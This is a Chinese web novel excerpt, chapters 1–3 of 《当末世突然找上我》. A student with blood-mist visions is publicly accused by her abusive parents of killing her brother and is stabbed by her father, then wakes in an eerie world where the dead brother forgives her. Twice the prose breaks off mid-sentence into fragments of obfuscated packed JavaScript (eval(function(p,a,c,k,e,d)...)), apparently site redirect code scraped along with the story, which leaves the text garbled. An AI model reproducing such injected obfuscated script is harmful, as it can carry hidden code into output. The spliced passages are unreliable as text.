《当末世突然找上我》 1. 找到你了 夕阳浓烈成瑰色时,岑旭湖翻过又一页书。 草稿纸上的公式和算法列得密密麻麻,可每到最后几步,却总是推导不出结果。 她在错误算法上划了一条横线,换种新的解法。 不对。不对。还是不对。 没关系。继续解。 窗外鸟啼声清脆,几只麻雀扇动翅膀,落在青绿的凤凰树上,叫声又急又脆。 岑旭湖坐在窗边,只觉得外面的鸟叫声催命一样扰人。 她放下笔揉揉眼睛,在图书馆坐的太久了,眼睛有些酸涩,头也开始疼。 不知道是不是揉得太用力,眼前一阵发黑,她没在意,转头看向鸟鸣处。 这一眼之下,她惊到忘记了呼吸。 夕阳像是被打翻了的血桶,浓稠的血液泼洒到树上,树叶承载不住夕阳的重量,裹满鲜血的叶片一片片滴落,在半空中碎裂成红色血雾。 树枝上麻雀的叫声催命一样扰人,又像是诡异的暗号,指引着碎叶翻转游移。待到它们飞离,血雾中忽然渐渐现出一行字。 ——找到你了。 血红字体僵硬如滴血的断肢,在半空中剧烈摇晃,似乎在挣脱某种束缚,随着一声若有似无的尖叫,它们径直朝她扑过来。 岑旭湖猛地起身,椅子摩擦地面发出巨大一声响,图书馆里其他人纷纷看过来。 她捂住狂跳的心口,和正对面的男生对视上,对方一脸惊讶。 周围人也都一样,明显被她突如其来的动静吓到了。 岑旭湖紧紧攥住拳头,咬牙往窗外又看了一眼。 窗外那团血雾还未完全消散,整个世界像是被装进了一只捅破的肾脏里,远处的小山湖泊和近处的栏杆全部被裹进这团红色里,淅沥沥向下淌着血。 岑旭湖再回头看周围的同学们。 他们的视线却只停留在她身上,脸上有被打扰的不解。 ……他们看不见? 岑旭湖愣在原地,下意识地咬唇努力调整表情隐藏起恐惧,她不想成为人群中的异类。 只是心里的害怕像是万箭穿心,扎得她又痛又麻。 “你看到了吧。”身后忽然传来一声刻意压低的声音。 岑旭湖浑身的汗毛瞬间竖起,尖锐的惊叫声在大脑深处炸开,利刃般一路向上,刺穿她的眼球与头皮。 她不敢置信地回头。 班长站在她身后,脸上表情复杂难辨。 大约是没想到岑旭湖的脸色会如此难看,班长愣了一下。 印象里,岑旭湖一直安静内敛,她就像是一捧可有可无的清水,放在哪条河流里都不会掀起波澜。 可是谁能想到,这样毫无声响的一个人,此时已经点燃了全校人的好奇心。 所有的微信群都在疯狂跳动,大家问最多的问题就是,岑旭湖是谁? 此刻,岑旭湖站在他面前,整张脸惨白如纸,额头上全是细密的汗水,尽管努力克制,但还是能看出来她在发抖。 班长只能小声安慰她:“你先别害怕,也许,也许是有什么误会吧。” 岑旭湖怎么可能不害怕。 那四个字扑上来的瞬间,她好像一头栽进了尸堆,断裂的残肢碎骨从她的眼睛嘴巴耳朵钻进喉咙,划破她的喉管进入五脏六腑。 她死命咬住嘴唇,攥着桌角的手用力到骨节发白,才不让自己尖叫出声。 是幻觉吗? 有这么真实的幻觉吗? 抬眼看向面前的班长,他的表情依然复杂。 岑旭湖将指尖深深嵌进手掌心,钝痛感让她咬紧牙关,随即长出一口气,也压低了声音。 “谁在找我?” 神?鬼?怪? 无论班长说出什么,岑旭湖都会相信。因为诡谲之事就在她眼前真切地发生了。 “……是你妈妈。”班长不明白她为什么明知故问,但还是尽量说得轻柔。 “妈妈?”岑旭湖一时没有反应过来。 妈妈是谁? 直到这两个字在唇边过了一遍,一张粗糙陈旧的脸才在脑海中浮现出来。 她? 这太荒唐了,以至于岑旭湖暂时忘记了恐惧,眼眶发疼。 她如果有这种超脱世俗的本事,自己应该早就不在这个世界了吧。 难道那女人已经死了,只是恶魂不散,特意从千里之外赶来弄死自己? 岑旭湖不相信。 她正要开口,斜后方的座位上忽然传来一句语调兴奋的话。 “氢大学生岑旭湖,杀死自己的亲弟弟?!” 仿佛一道雷劈到岑旭湖头顶,劈得她满眼金星。 她下意识地想要抓住什么,站在面前的班长、近旁的同学、书桌却全都不见了,眼前白茫茫一片,一瞬间仿佛掉进了硝烟过后的世界末日。 茫茫虚空中有谁牵起她的提线,她转动僵硬的头,隐约听见脖子发出咔咔声,看向声音发出的方向。 座位上的男生正慌张按下手机音量键,他只是随手点开了班群里的视频,万万没想到拍视频的人竟然说出这么惊悚的话。 一只冰凉的手忽然伸过来,将他的手机拿起。他抬头,看见面前站着一个单薄清瘦的女孩。 岑旭湖要用两个手一起才能把手机拿稳,视频里被定格的女人正满脸漠然地盯住她。 这个女人她很熟悉,生她养她,亲手把她埋进了噩梦里。 岑旭湖挣扎了十八年,以为自己上了大学就能摆脱掉这场噩梦,这里离家千里之遥,没有人认识她,她可以开始全新的生活。 可没想到还是摆脱不掉。 她点开了视频。 校门口,中年女人跪在路边,手中高高举着一块板子,那上面红字凌乱却字字泣血。 【我是氢大学生岑旭湖的母亲,她杀死自己的亲生弟弟,至今逍遥法外。】 周围学生越聚越多,不断有人念出那上面的字,念出来后就把自己吓一大跳。 “我擦什么情况?” “我们学校有人杀人?” “岑旭湖是谁?” 视频里人声杂乱,保安在驱赶中年女人,可她充耳不闻,只是对着面前的各种眼光把牌子高高举起,眼神中是冷漠的恨意。 眼看越来越多人围过来,保安只好上前把她拉走,没想到女人不知从哪拿出一把刀,凶狠地对着周围乱挥。 “啊!”尖叫声炸开。 视频戛然而止。 岑旭湖大脑一阵阵眩晕,过往种种铺天盖地涌上来,几乎要把她淹没。她心跳得厉害,头疼到仿佛要炸开。 她已经顾不上刚才的诡异景象了。 周围人都在看她,他们大概猜到了什么,有人小声地说,“她就是岑旭湖吗?” 岑旭湖听不见,她努力调整呼吸试图让自己看起来镇定一些,只是整个人却像是溺进了一块沼泽地,怎么用力都无法呼吸。 她闭着眼,脸色比纸还白。 班长吓坏了,看岑旭湖的反应好像才知道这件事。那她刚才是在害怕什么? 来不及细想,一扭头看见有人正对着岑旭湖拍视频,他赶紧抬手阻拦,“不许拍!” 拉了拉岑旭湖,“我们先出去。” 他们离开后的图书馆,原本正在学习的同学都放下书本掏出手机。 每个人的微信群都被校门口的闹剧淹没了,议论声从蚊子般的嗡嗡到肆无忌惮的沸腾,没有人再有心思学习。 岑旭湖正对面的座位上,晏盛朗在身旁不加掩饰的猜测声里看完了视频。 微信群里大家的脑洞一个比一个离谱,已经朝着岑旭湖是变态杀人狂方向一去不复返。 他抬眼看向对面位置,岑旭湖的书本没有收走。 在馆里嘈杂的八卦声里,有人走到晏盛朗对面,伸手翻开桌面上的书,想要看看上面的名字是不是岑旭湖。 “别动。” 一只手伸过来在桌面上敲了敲,翻开的书被飞快抽走。 那人抬眼,看见对面一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她在宿舍坐了五分钟,抱着水杯喝了几口,冰冷的水滑过喉咙,她终于冷静了下来。 躲是没用的。 她太了解自己的父母,他们不会放过她。就算这次老师们帮她解决了,他们还会有千百种方法来闹事。 她必须主动面对。 面对自己糟糕的过去,和即将糟糕的未来。 人群为她让出了一条路,看着那个清瘦的身影一步步走进舆论中心。 徐二娟还跪在地上,似乎是累了,她低着头不知道在想什么,乱糟糟的头发垂到脸上。 旁边两个保安正对她虎视眈眈,看有人走近,两个保安如临大敌。 “同学别过来,危险!” 岑旭湖摇摇头,走到徐二娟身前,踢了下被扔到地上的刀柄。 徐二娟被惊醒般猛地仰头,定定地看着岑旭湖,将她从头看到脚,又从下看到上,目光停到她脸上。 岑旭湖蹲下来,死死盯着徐二娟眼里的愤怒和仇恨。 然后捡起地上的刀,强行递到徐二娟手里,徐二娟的眼睛瞬间瞪大,呜呜哇哇地躲闪着。 可岑旭湖用了全力,她双手紧紧握住徐二娟拿刀的手腕,刀尖往自己身上送。 徐二娟涨红了脸,刚才撒泼打滚的气焰瞬间熄灭,眼眶里盈满泪水,整个人用力往后躲。 锋利的刀尖划破衣服,在岑旭湖的肩头划出几道细长的伤口,鲜血染红了刀尖。岑旭湖眼睛眨都不眨,依然盯着徐二娟的眼睛。 徐二娟害怕了,她呜呜地哭,喉咙里发出一声动物般的嘶吼,用尽全力向后挣。 尖刀“砰”一声落地,她低头捂着脸泪如雨下。 岑旭湖没有放过她。 她抬手掐住徐二娟的脖子,用力大到徐二娟的喉管都发出咯吱咯吱的声音,徐二娟被迫仰起头和她对视。 在徐二娟浑浊的双眼里,岑旭湖看到了一个平静冷漠的自己。 她问她,“你如果不敢杀了我,又为什么非要毁了我?” 2. 校门闹剧 徐二娟回答不了。 她是个聋哑人。 这个年轻时十里八乡闻名的美人,从出生起就被剥夺了听觉和语言。上天偏爱她却又折磨她,给了她一个注定苦难的人生。 岑旭湖以前心疼她,现在对她只有恨。 那把沾血的刀就在岑旭湖脚边,她蹲在地上,手指虚虚按住它,摩挲着刀尖上的鲜血。 对面徐二娟的脖子以肉眼可见的速度肿了起来,连带着下巴都通红一片。 她被岑旭湖的疯狂吓到了,眼泪流了满襟自己都毫无察觉,顾不上喉咙逼仄的疼痛,她手脚并用地后退,怀里抱着那块纸板瘫坐在路边,整个人看起来狼狈又无助。 纸板上鲜红的杀人大字配上徐二娟苍老流泪的脸,一时间所有人看向岑旭湖的眼神都变了。 没有什么比现在这个画面更有说服力。 众目睽睽之下,岑旭湖用一种极其平淡的姿态差点把自己母亲掐死。那么杀死亲弟弟,是不是也并非不可能…… 岑旭湖只是垂着眼,浓密的睫毛压在眼底,谁也看不出她的情绪。 她明明此刻正处于舆论中心,却像个冷漠的局外看客,浑身上下看不出一丝破绽。别说徐二娟,就连她周围的人都开始害怕了。 岑旭湖实在……不像个正常人。 两个保安绝望地对视一眼,感觉头顶的天已经塌了。 原以为人群里走进来一个镇定控场的大佬,没想到她出手果断又狠绝,竟然是来砸场的。 见识过今天这种场面,以后谁还敢说大学生软弱可欺,明明比社会人还要可怕。 他们再次试探着上前,当务之急是要夺走那把危险的刀。 “别动。” 岑旭湖察觉到头顶有阴影覆盖下来,抬脚向前一步踩在刀柄上,抬头对保安说,“离我远点。” 她的语气太不容置疑,眼神坚定如铁,一时间让人忘了该如何反驳。 保安下意识地退后了两步,眼巴巴看着岑旭湖又低下头发呆。 岑旭湖是在看着脚边那片地面,刀尖上的血滴落下来,按理说它会一点点渗进大地。 可是那滴血却化开了,散成了巴掌大小的血雾,像被风吹起的浮尘一样在地面上飘动。红雾中隐隐有黑影攒动,推着血雾向前,逐渐缠绕上她按在刀上的指尖。 这团雾气凉凉的,雾气之中好像有什么在啃噬着她流血的伤口,力道微弱如树叶拂过脸颊,细小的血珠一点点渗进红雾中。 雾气的颜色立刻变深了。 巴掌大的血雾扩散到了书本大小,雾气之中,深红色的横线漫无边际地漂移着,像是血海里无法上岸的孤魂。 岑旭湖把手指用力按在刀尖上,大滴鲜血瞬间流进血雾中。 眨眼间雾气便扩散到了周围人的脚边,雾气中原本缓慢游移的横线像是有了指引,不同的线条从雾气之中显现,渐渐汇聚成四个潦草凌乱的字。 ——镜湖心亭 她把手伸进雾气中,刚碰到地面上的字,笔画忽然散开,如同弯曲盘绕的蛇在旁边人的脚边游走扩散,直到消失不见。 她抬头看向周围。 他们也在看她。 脸上有好奇、惊讶、八卦,唯独没有恐惧。 这次岑旭湖可以确定了,地面上的诡异景象他们真的看不到。 那么为什么只有她可以看到? 岑旭湖目光落在人群脚下那些逐渐消散远去的红色雾气,她撞邪了,还是生病了? 她并不觉得自己病了。 从图书馆到校门口,好像冥冥之中有什么一路追随,在血色残阳里向她传递善恶不明的未知信息。 是谁在找她? 镜湖心亭她不陌生,那是氢大附近一个很美的人工湖,傍晚时分她偶尔会去湖心亭坐坐,一个再平常不过的地方。 人群里忽然传来一阵躁动,有人用力推搡着后面的人,骂骂咧咧地挤进人群中心。 好多围观的人被他推倒在地,脾气大的当场就炸了,骂他没素质。 “好狗不挡道!小比崽子毛都没长齐就敢和老子吹胡子瞪眼睛了,有没有教养!” 粗哑难听的男声毫不退让地骂了回去。 这声音岑旭湖很熟悉。 她回头,看见不远处一个驼背塌肩目光阴沉的男人正挤进来,嘴里叼着根烟,眯着浑浊的眼睛吐出一口浊气。 身后徐二娟好像看见了救星,腾一下扑过去,拽着男人的手臂乌拉乌拉地比划。 “滚滚滚。”男人烦躁地甩开她的手,“啥事都干不好!完蛋玩意儿。” 徐二娟看懂了他脸上的厌恶,一下愣在原地,赶紧抬手摩挲着脖子。 粗粝的掌心让她本就通红的脖颈更加脆弱,血点渗出皮肤,她像是感觉不到疼痛,只是不停用单调重复的动作提醒自己的男人,她受伤了。 可是王三已经转身了。 他捡起地上的纸板,操着口音浓重的普通话声如洪钟。 “哎哎,你们都看清楚了,她,就是她!”他唰地指向岑旭湖,“暴力杀人犯!杀了自己的亲弟弟还不够,刚才还想掐死自己亲娘。各位晚上睡觉都小点心,小心睁开眼刀已经架到你们脖子上了。” 王三情绪饱满语调激昂,随着他极具感染力的话语落地,他满意地看到旁边那些看热闹的学生崽脸都吓白了。大学生也不过如此,胆小如鼠没出息。 岑旭湖在铺天盖地的注视之中,终于不再面无表情。 她抬起头,眼里的憎恨滚烫如烙铁。 王三已经一年多没见过她,自从考上大学,她就没回过家,也不和家里联系。 说实话,在今天之前他已经忘了这个小兔崽子长什么样,但这个该死的眼神,怎么都忘不掉。 每次都让他想到家里山上带刺的野树,不留神撞上去,连他老树皮一样糙厚的皮肉都能被瞬间扎出个血窟窿。 王三一下就恼了。他是她爹,她算什么东西! 明明是她亏欠了他一条命,怎么敢每次都这样看他。 他抬手扇他,被岑旭湖一把握住手腕。 王三顿时感觉自己像被铁箍住一样甩都甩不开,她力气大得离谱! 他的目光落到了地上的那把刀。 “为什么找你,你心里清楚。”王三疼得呲牙,压低声音,“把钱给我,我现在就走。” 岑旭湖看着他不说话,黝黑瞳孔像深不可测的无人秘湖,被她这样盯着,王三心里开始发毛。 “二十万,少一分我都不走,你大学生你要脸,我可不要。”王三露出一口被烟熏黑的牙,“看咱俩谁耗得过谁。” 二十万,是王三在家抠着指头计算了好久的金额。 这笔钱足够他和徐二娟后半辈子富裕生活了。 岑旭湖自从上了大学仿佛人间消失一样,他们联系不上她,连村长给她打电话她也敢不接。 那时候王三就知道,这闺女是个白眼狼,以后别想指望她给自己养老送终。 既然这样,就得趁着还知道她在哪读书,赶紧过来要笔大的,省得以后她毕了业音讯全无,连根毛都薅不着。 岑旭湖扯了下嘴角,被他荒唐得想笑,又笑不出来。 她明白徐二娟为什么要闹出那么大动静了。 王三是打算和她鱼死网破,他很清楚要是悄无声息的来找她,自己根本不可能出现。所以他们就想用让她身败名裂的方式,逼她不得不用钱换安宁。 同样的路数,用了这么多年都不嫌腻。 唉。 “我就算死也不可能给你。”岑旭湖告诉他。 “你!”王三的表情瞬间狰狞了。 他带着一个废物婆娘千里迢迢跑过来,路上受了多少苦遭了多少罪,不就是为了这笔钱吗。 要是拿不到,他宁愿岑旭湖去死。 “你弟弟才六岁,你就能把他活活给砸死,我早就知道你心有多黑。二十万是买你弟弟一条命,是你亏欠我们的!” 岑旭湖猛地深呼吸,“和我无关!是他自己要跑过去。” 终于看到岑旭湖情绪不稳,王三赶紧火上浇油。 “他才六岁他懂个屁,是你故意骗他。大家看看啊!” 他提高声音对着周围喊道,“一个活生生的孩子,才六岁的孩子,被她!被她亲手埋在了地下,杀了人还不承认,这就是你们的同学。杀人犯!” 这么多年,岑旭湖一直活在这样的指责之下。 没有人听她解释,他们恨不得缝上她的嘴让她永远不要开口,这样就永远有人为这件无妄之灾负责。 可那真的只是个意外。 弟弟那年六岁,她那时候也才十岁。 没有人在意亲眼看到自己的弟弟死在面前,她害不害怕,深夜会不会做噩梦。 他们将自己无法承受的悲痛化作锋利的刀刃,全部发泄到了她身上。她这么多年咬着牙将自己磨砺成铜墙铁壁,可面对这样滚烫强烈的恶意,就算是铁墙也会熔化出缝隙。 岑旭湖眼圈无法控制地红了,“不是我。” 王三得意地看着她,姜还是老的辣,小王八蛋根本斗不过他。 “二十万,我们一了百了。”王三靠近她压低声音。 岑旭湖眼里的脆弱迅速褪尽。 她用力闭了下眼,再睁开又是一片平静冷漠。 “你杀了我,也可以一了百了。”她说,“我一分钱都不会再给你。” 王三的怒气瞬间到达天灵盖,一看她这死猪不怕开水烫的倔样子,就知道这趟白来了。 艹 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被牵扯到的伤口血流不止,疼的她前襟后背都被汗湿透。 周围的雾气扩散的更大了,整个世界都裹进了深红色的鲜血中。 她勉强睁开眼,震惊地发现不知何时,眼前的世界变成了地狱。 远处一栋大楼从中间裂开,像是电影慢镜头般,它的一半楼体缓慢坠向大地。 砰!一声,被砸中的地面剧颤,腾起的烟尘席卷至四面八方。 她好像置身于漩涡中心的海上,大地断裂之气和着血腥味涌上鼻间,更多的建筑和城市在她眼前倒下,到处都是哀嚎,都是尸体。 怎么回事? 岑旭湖头疼欲裂,眼前闪过一道黑影,随即剧痛从伤口处袭来,她感觉五脏六腑都成了绷紧的弦,只是呼吸就会断裂。 好疼。 身边的尖叫声更加响亮。 王三按着岑旭湖把刀拔了出来,还要再扎进第二下。 岑旭湖瘫倒在地,忍着疼努力从大地崩裂的幻境中分辨出正在发生的现实。 王三离她很近。 他身后是猩红色的天空,不知道从哪来的连绵山脉正在天际分崩离析,滚落的山石压垮了城市大桥,压倒了高楼大厦和熟睡的家庭,洪水裹挟着山体席卷全球。 这不可能是真的。 可她真的看见了。 她用尽全力睁大眼,想要看清地动山摇灾难里的真相。 一个陌生身影推开了王三,他站在岑旭湖身前,抬手挡住了挥向她的那把刀。 刀刃划破了他的手掌心,鲜血顺着他的手臂流到地面,和她流了满地的鲜血融在一起。 耳边隐隐传来警笛声,红蓝色的光闪进人群里。 岑旭湖吐出一口血,眼前模糊一片,她彻底看不清了。 身下的地面在下陷,她好像被谁从悬崖推了一把,整个人在飞速下坠。 她怎么了…… 到底为什么会出现这样的幻觉? “同学,岑旭湖!你醒醒!”急速下坠中,除了风声,还有一个声音在喊她。 她抬起手,一个宽厚的手掌握住她的手。 下坠的速度好像慢了一些。 岑旭湖张嘴,眼前除了浓重的血色,什么也看不清。 “你说什么?”那人在问她。 “救……救我……地震……” 她用尽全力紧紧握住那只手,想要抵抗下坠的速度。 别掉下去,别陷进可怕的未知里,这个世界到底怎么了? 她不想死,她不能死。 最后一丝光亮消失。 匆匆跑来的医生推开了晏盛朗,来不及把岑旭湖转移到救护车上,就地给她止血。 晏盛朗手掌心里还有她的温度。 她已经昏迷了。 满地鲜血是这场突发闹剧的开端,校门口她和家人不同寻常的对峙注定了接下来会是更难解的麻烦。 晏盛朗站起来,想起岑旭湖刚刚在自己耳边嗫嚅的话。 救我?地震? 医生过来让他把左手抬高,替他包扎血肉模糊的手掌心。 他皱着眉头看向周围,人群迟迟不愿散去,站在或远或近的地方看着受伤的岑旭湖和他,每个人眼中的情绪都很复杂。 风里夹杂着几声清脆的鸟鸣,马路上的鸣笛声汇进车水马龙中,空气中有小吃摊的香气。 瑰色夕阳落进忙碌了一天的大地,大地会沉睡,也会如常醒来。除了刚才这场闹剧,一切如常。 没有地震,没有危险。 可他知道,这一切早晚会发生。 3. 诡异世界 “姐姐,呜呜呜呜,我好害怕,姐姐你快醒醒啊……” 有个稚嫩的声音在她耳边哭喊,很熟悉,好像很久之前听过。 岑旭湖动了下手指,手心里似乎还有谁留下的温度,来不及细想就被哭喊声冲散。 “姐姐快醒醒,求你了,我害怕我真的很怕呜呜呜。”一只小手拽着她的手指用力摇。 这声音越听越熟悉,似乎是…… 她睁开眼。 一个小男孩正泪眼婆娑地看着她,乌黑圆亮的眼睛里满是恐惧,脸上挂满了泪水。 岑旭湖头皮瞬间炸开,鸡皮疙瘩爬满全身,她忘记了呼吸,不敢置信地盯着面前这个人。 是她弟弟! 是九年前死在废墟之下的弟弟,她亲眼看着他断了气,冰冷的小手垂在砖石上。 可是现在,他正拉着她的手,用她从来没见过的绝望表情哭到声音沙哑。 弟弟也愣住了,大眼睛一眨不眨地看着她。 好半晌,一串眼泪从他脸上滑下来,他小心翼翼地捧起岑旭湖的手放在自己胸口,声音里全是委屈,“姐姐,你真的醒了。” 温热的泪水打湿了岑旭湖的手背。 她满心惊惧,心脏砰砰跳得厉害,不明白已经死了的弟弟为什么会在她床头哭。 “你…你…我死了?”她喃喃问出声。 弟弟立刻摇头,“没有,姐姐好好活着。” 岑旭湖强压着恐惧,思考现在是什么情况,她想到了最匪夷所思的可能。 “……穿越?” 弟弟又摇头,“听不懂。” 他在这个世界上只活了六年,一个从来没接触过外界的小孩子,对于世界的想象和认知都有限。 看他一脸懵懂,睫毛上还沾着泪水,随着眨眼的动作滚落下来,让人没来由得心疼。 可这并不能减少睁开眼看到死去弟弟的恐怖。 昏迷前的诡异景象还历历在目,一片血雾之中她在急速下坠,那么这里就是她坠落的地方吗? 岑旭湖环顾四周,熟悉的旧砖墙,裂开一半的窗户,落满灰尘的窗沿。 窗外天高云淡,蔚蓝天幕下是连绵不绝的远山,一重山连着一重山,走到绝望也走不出那片荒凉的诅咒。 这里是她的家。 离开那年她发誓再也不会回来,她宁愿在外面终日生不如死,哪怕烂成一滩淤泥埋葬在垃圾堆里,都好过被困在亲人的仇恨中。 她实在恨透了这里。 但命运总有办法打碎人的妄想。 “我为什么会在这里?”她问。 弟弟听到后满脸惊讶,“你一直都在这里呀。” “我没离开过?”岑旭湖脑子更乱了,这怎么可能。 “是啊,姐姐一直在睡觉,睡了好久好久好久。”弟弟掰着手指头数,然后冲她张开两只手,“九年,你睡了整整九年。” “九年?” 弟弟是在九年前死的,可在他的口中,她却是在九年前沉睡的。 “你今年多大了?”岑旭湖问。 “六岁啊,还是你给我过的生日,你怎么忘啦。”弟弟噘着嘴巴,拉着她的手指撒娇。 岑旭湖看着他,努力克制住内心的恐惧,思考这个不合常理的诡异世界。 昏迷后她来到了这里。 这里有去世的弟弟。 弟弟今年六岁。 却等了她九年。 …… 岑旭湖扶住越来越沉重的头,心里忽然一动,看向自己的手,指尖没有伤口,摸摸肚子,刀伤也没有了。 她想了想,问弟弟,“有刀吗?” 如果她的血是开启这个诡异世界的关键,那么已经身处这个诡异世界的她,再流血又会发生什么呢? “不要!”弟弟嗷一嗓子哭得惊天动地。 他爬到床上死死摁住岑旭湖,眼泪鼻涕流了满脸,“你别要刀呜呜呜,别呜呜呜死……” 岑旭湖还没有打消对他的恐惧,差点一把推开他,一个死了九年的人忽然扑过来,她有点害怕。 可弟弟紧紧抱着她,哭到整个人都在颤抖,好像他的天都要塌了。 岑旭湖深呼吸让自己冷静下来。 算了。 就算他是鬼又怎样,她自己都能看见那些诡异幻象,也不算是什么正常人了吧。 她伸手,拍了拍弟弟的背,一些刻在骨子里的习惯自然而然地流露出来,她像小时候那样轻声哄着他。 弟弟从小就是她带大的,他出生那年她四岁,那两人出去干活,她就会把弟弟装进竹篓里背在背上。 她太小,干活很慢,扫地做饭要花上好半天时间。他就在她背上揪她的头发,咯咯笑,乖得像个漂亮玩具。 等两人逐渐长大,弟弟最听她的话,是她寸步不离的跟屁虫。 那两个人打她骂她时,弟弟会张开小小的胳膊护在她身前,他们不舍得打自己的宝贝儿子,有时候也会放过她。 弟弟从小就喜欢她。 他是她四面寒风生活里唯一的毛毯,小小一张勉强能盖住她冻僵的手臂,但这点温暖已经足够她弯曲双手回抱住他。 她也最爱他。 “姐姐,你不能死。” 弟弟忽然直起身,他像是下定了决心般眼神明亮又坚定,抬手抹干满脸的泪水,他拽住岑旭湖的手下床,“我要带你去个地方。” 岑旭湖当然不会死,但也没有和弟弟解释自己为什么要刀。 血雾里的诡异幻景仅她可见,在搞清楚情况之前,她不打算告诉其他人。 跟着弟弟走出家门,穿过一片干涸的田野,走在四周都是小树的小道上,不远处有一条河,在清透阳光下闪着粼粼波光。 岑旭湖心脏跳动得厉害,她停住脚步,低头,目光定定地看着弟弟。 “你要带我去哪里?”她问。 “姐姐这么多年,是不是一直不敢再靠近那个老房子。” 弟弟仰头和她对视,阳光刺进他眼里,他不得不眯着眼,岑旭湖看不清他眼里的情绪,只能看清他脸上的倔强。 “我想让你看看,它现在的样子。”弟弟指向前方。 顺着他手指的方向,岑旭湖看到前方的小河边有一座老房子,那房子似曾相识,记忆里它应该已经倒塌了。 正是它的突然坍塌,砸死了年仅六岁的弟弟,砸毁了一个家庭。 岑旭湖看着它,太阳穴突突地跳,刻意遗忘的往事像潮水一样浮上来,每个细节都清晰如镜。 那年夏天岑旭湖十岁,刚下过一场大雨,弟弟想去河边抓鱼,缠了她好久。 岑旭湖忙完家务活后,给他做了个鱼竿,用酱油拌了小半碗隔夜的米饭做鱼饵,再拎上一只水桶,姐弟俩就出门了。 小河离家不远,两人边走边聊天。再过一个月弟弟就能去上小学了,岑旭湖没上过学,她对弟弟说一定要好好学习。 弟弟摇头,小虎说学习很累,我才不要去上学,我要抓鱼。 都行吧,年仅十岁的岑旭湖对此无所谓,她对于上学没什么概念。 大约走了十来分钟,两人经过一栋荒弃很久的老房,屋外杂草丛生,墙壁上的砖石被风雨侵袭得坑洼不平。它颤巍巍站在大地之上,浑身都是萧条。 岑旭湖心里莫名有点毛毛的,拉着弟弟的手快速走过去。 弟弟却忽然指着老房眼睛一亮,“有只小猫!” 他甩开岑旭湖的手跑过去,岑旭湖只好紧随其后,却被一个小坑绊倒,手里的水桶咕噜噜跌向一边,她赶紧去拾,然后就听见轰一声巨响。 整个地面都在颤。 岑旭湖摔倒在地动弹不得,她抬头往上看,只看见腾起的尘土。 一堵老墙直挺挺地躺在地上,断裂的砖石劈里啪啦砸下来,在交错堆叠的乱石杂草之间,有一只小小的手伸出来,那只手已经血肉模糊,却固执地向前伸着,试图能拉住什么。 岑旭湖大叫,飞奔过去要把弟弟从砖石下拉出来。 已经晚了。 她握住弟弟的手,眼睁睁看着他没了气息。 “姐姐!姐姐!”此时此刻,弟弟活着。 他在旁边用力晃着她的手,将意识涣散的她摇醒。 岑旭湖看着他,再看向那座房子,眼神已经变了。 弟弟出事后全家人都疯了,岑旭湖被王三和徐二娟打到身上没有一块皮肤是好的。 那时候徐二娟整夜失眠,在床上躺一会儿就会起来,拉着岑旭湖走到那栋老房下,把岑旭湖的头往砖头上磕,用树枝打她,打到岑旭湖哭都哭不出声,徐二娟自己也泪流满面。 王三也有些癔症,见人就说是岑旭湖把自己弟弟杀死的。他说岑旭湖是灾星,要把全村人的命都带走,必须把岑旭湖埋在那个老房子下面,所有人才能好好活着。 他见人就说,说着说着,同村人看她的眼神就变了,原本的责怪变成了敌意,以后凡是她经过的地方,都有人往她身上扔火柴或是泼狗血。 所有人真的把她当成了怪物。 刚开始她还会哭,但一哭反而被打得更狠,没有人愿意帮她,她用了好长时间才慢慢习惯。 后来只要徐二娟不强迫她,她再也没有靠近过那片断壁残垣。 忘掉,快忘掉那个可怕的地方。 每次从噩梦中惊醒,她都这样一遍遍告诉自己。 可是现在,这座房子完好无损地重新屹立在她眼前,看起来坚实如山。 她转身往回走,“不,我不过去。” 她脑子乱的很,身上每一寸皮肤都开始疼,被火苗灼烧的炙热和树枝敲下的疼痛重新烙上身体。 岑旭湖只想赶紧离开这个可怕的地方。 她要回家。 可是没有家。 好吧,那回荣城去。 但荣城也不是她的家,她只是在那里上学。 氢大早已经被那两个人闹得沸反盈天,她回去也只是自找屈辱。 找云桦吧。 对,对对对。 去找云桦! 云桦不是她的亲人,却是她在这世界上最深的牵挂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑旭湖看了很久,旧时光里很多被遗忘的回忆此刻全部清晰,就算那时候被打被骂,但有弟弟在身边的时间几乎都是开心的。 可是…… 岑旭湖蹲下来,摸摸他的小脸,“你不怪我?” 弟弟清清嗓子,退后一步。 “姐姐,接下来我要跟你说的这段话,我准备了很久,你要好好听。” 岑旭湖被他小大人似的样子逗笑了,“请讲。” “咳咳,那个,我……”他反倒紧张了一下,自己掐了下自己的脸蛋,又清清喉咙才开口。 “姐姐,其实那天去捉鱼有个原因没来得及告诉你,隔壁的小虎说吃鱼能补身体,你那几天总是咳嗽,我想让你多补补身体,不要总是生病。” 岑旭湖的笑变淡了,她抿着嘴唇,视线落到地面上。 她小时候其实总在咳嗽,因为家里做饭的灶台是烧柴的,每每烧火时呛起的烟都会被她吸进肺里,喉咙就整天不舒服。 但那两个人不知道这事。 她曾经大晚上没憋住狠狠咳了一阵,被王三从被窝里拎起来扔到了家门外,让她咳够了再进屋,所以下次只要感觉到喉咙不舒服,她就会掐自己或者拼命咽口水让自己忍住。 “那天房子倒下来,我看到姐姐朝我跑过来,你很少哭的,却哭得好难过,我对你说快跑,其实我想说的是,姐姐,幸好房子没有砸到你,幸好是你活着。你是个真正厉害的人,明明才比我大四岁,却能做好多我不会的事情,可也是这些事情把你困在了这个家里,所以我希望姐姐快跑,离开这个困住你的地方,去做你真正想做的事情。” 弟弟指着房间里的那些画,那些画上都是他想象出来的岑旭湖。 “去把树种的比天还高,养好多漂亮的花朵,帮助许多和我一样的小孩子,你还能坐上宇宙飞船,去太空里做好事。姐姐,我知道你是个了不起的大英雄。” “所以我从来没有一分一秒钟怪过姐姐,你什么都没有做错,房子倒塌只是一个意外,是我自己要跑过来捉小猫,这和你无关。” “对不起姐姐,这么多年是我拖累了你,我在时消耗了你全部的时间,离开后又让你背负了好多恶意和指责。而现在,我还想把你困在我身边,姐姐你不要怪我,好不好?” 岑旭湖捂着脸,肩膀在颤抖。 